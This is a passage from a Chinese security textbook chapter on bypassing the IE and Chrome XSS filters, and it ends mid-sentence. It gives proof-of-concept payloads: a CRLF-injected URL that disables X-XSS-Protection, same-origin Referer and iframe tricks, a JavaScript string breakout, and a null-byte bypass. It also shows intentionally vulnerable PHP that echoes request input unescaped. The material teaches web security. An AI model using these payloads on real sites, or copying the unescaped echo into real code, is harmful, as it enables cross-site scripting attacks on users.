6.6 绕过浏览器XSS Filter

目前,主要是IE和Chrome两大浏览器拥有XSS Filter机制,不可能有完美的过滤器,从历史上看,它们被绕过很多次,同时也越来越完善,但是总会有被绕过的可能性,绕过的方式同样可以通过fuzzing技巧来寻找。

XSS Filter主要针对反射型XSS,大体上采用的都是一种启发式的检测,根据用户提交的参数判断是否是潜在的XSS特征,并重新渲染响应内容保证潜在的XSS特征不会触发。

6.6.1 响应头CRLF注入绕过

如果目标网页存在响应头部CRLF注入,在HTTP响应头注入回车换行符,就可以注入头部:

X-XSS-Protection: 0

用于关闭XSS Filter机制,这也是一种绕过方式。比如,某网站的页面可以写如下请求语句:

http://x.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert(1);%3C/script%3Ey

这段URL如果在urldecode后是如下内容:

http://x.com/xx.action?id=
Content-Type: text/html
X-XSS-Protection: 0

x<script>alert(1);</script>y

响应回来的内容会如下:

HTTP/1.1 404
Content-Type: text/html
X-XSS-Protection: 0

x<script>alert(1);</script>y
Server: Resin/3.0.19
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN
Content-Length: 0
Connection: close
Date: Thu, 07 Jun 2012 06:39:16 GMT

6.6.2 针对同域的白名单

严格地说,针对同域的白名单机制不是绕过,而是浏览器的性质,这种性质给反射型XSS的利用提供了便利,IE和Chrome在这个机制上不太一样。

1. IE的同域白名单

IE会判断Referer来源是否是本域,如果是,则XSS Filter不生效,比如,xss.php的代码如下:

content:<?php echo $_GET['x'] ?>
referer:<?php echo $_SERVER['HTTP_REFERER'] ?>

如果直接请求:

http://www.foo.com/xss.php?x=<script>alert(1)</script>

会被IE XSS Filter拦截下来,如果是通过同域内的<a>链接点击过来的,或者<iframe>直接嵌入,由于Referer来源是同域,此时XSS Filter不生效,代码如下:

<a href="xss.php?x=<script>alert(1)</script>" target="_blank">xxxxxxxxxxx</a>
<iframe src=xss.php?x=%3Cscript%3Ealert(1)%3C/script%3E></iframe>

2. Chrome的同域白名单

Chrome的同域白名单机制和IE完全不一样,用法如下:

http://www.foo.com/xss.php?x=<scriptsrc=alert.js></script>

如果是<script>嵌入同域内的js文件,XSS Filter就不会防御,这个受CSP策略(有关CSP的内容,可以参考10.1.2节)的影响。

6.6.3 场景依赖性高的绕过

1. 场景一

我们发现一个反射型XSS的参数值出现在JavaScript变量里,格式如下:

<script>
var a='[userinput]';
...
</script>

提交xxx.php?userinput=';alert(123)//,得到如下语句:

<script>
var a='';alert(123)//';
...
</script>

对于这样的场景,Chrome的XSS Filter就无法有效地防御了,IE却可以。

2. 场景二

安全研究员sogl发现的这样的绕过经测试,如果PHP开启的GPC魔法引号,那么下面这样的URL可以绕过IE XSS Filter:

http://www.foo.com/xss.php?x=<script %00%00%00>alert(1)</script>

xss.php代码如下:

<?php echo $_GET['x'] ?>

原因是:%00会被PHP转义为\0,IE XSS Filter估计就因此被绕过,最终的输出结果是:

<script \0\0\0>alert(1)</script>

除此之外,还有以下一些特性: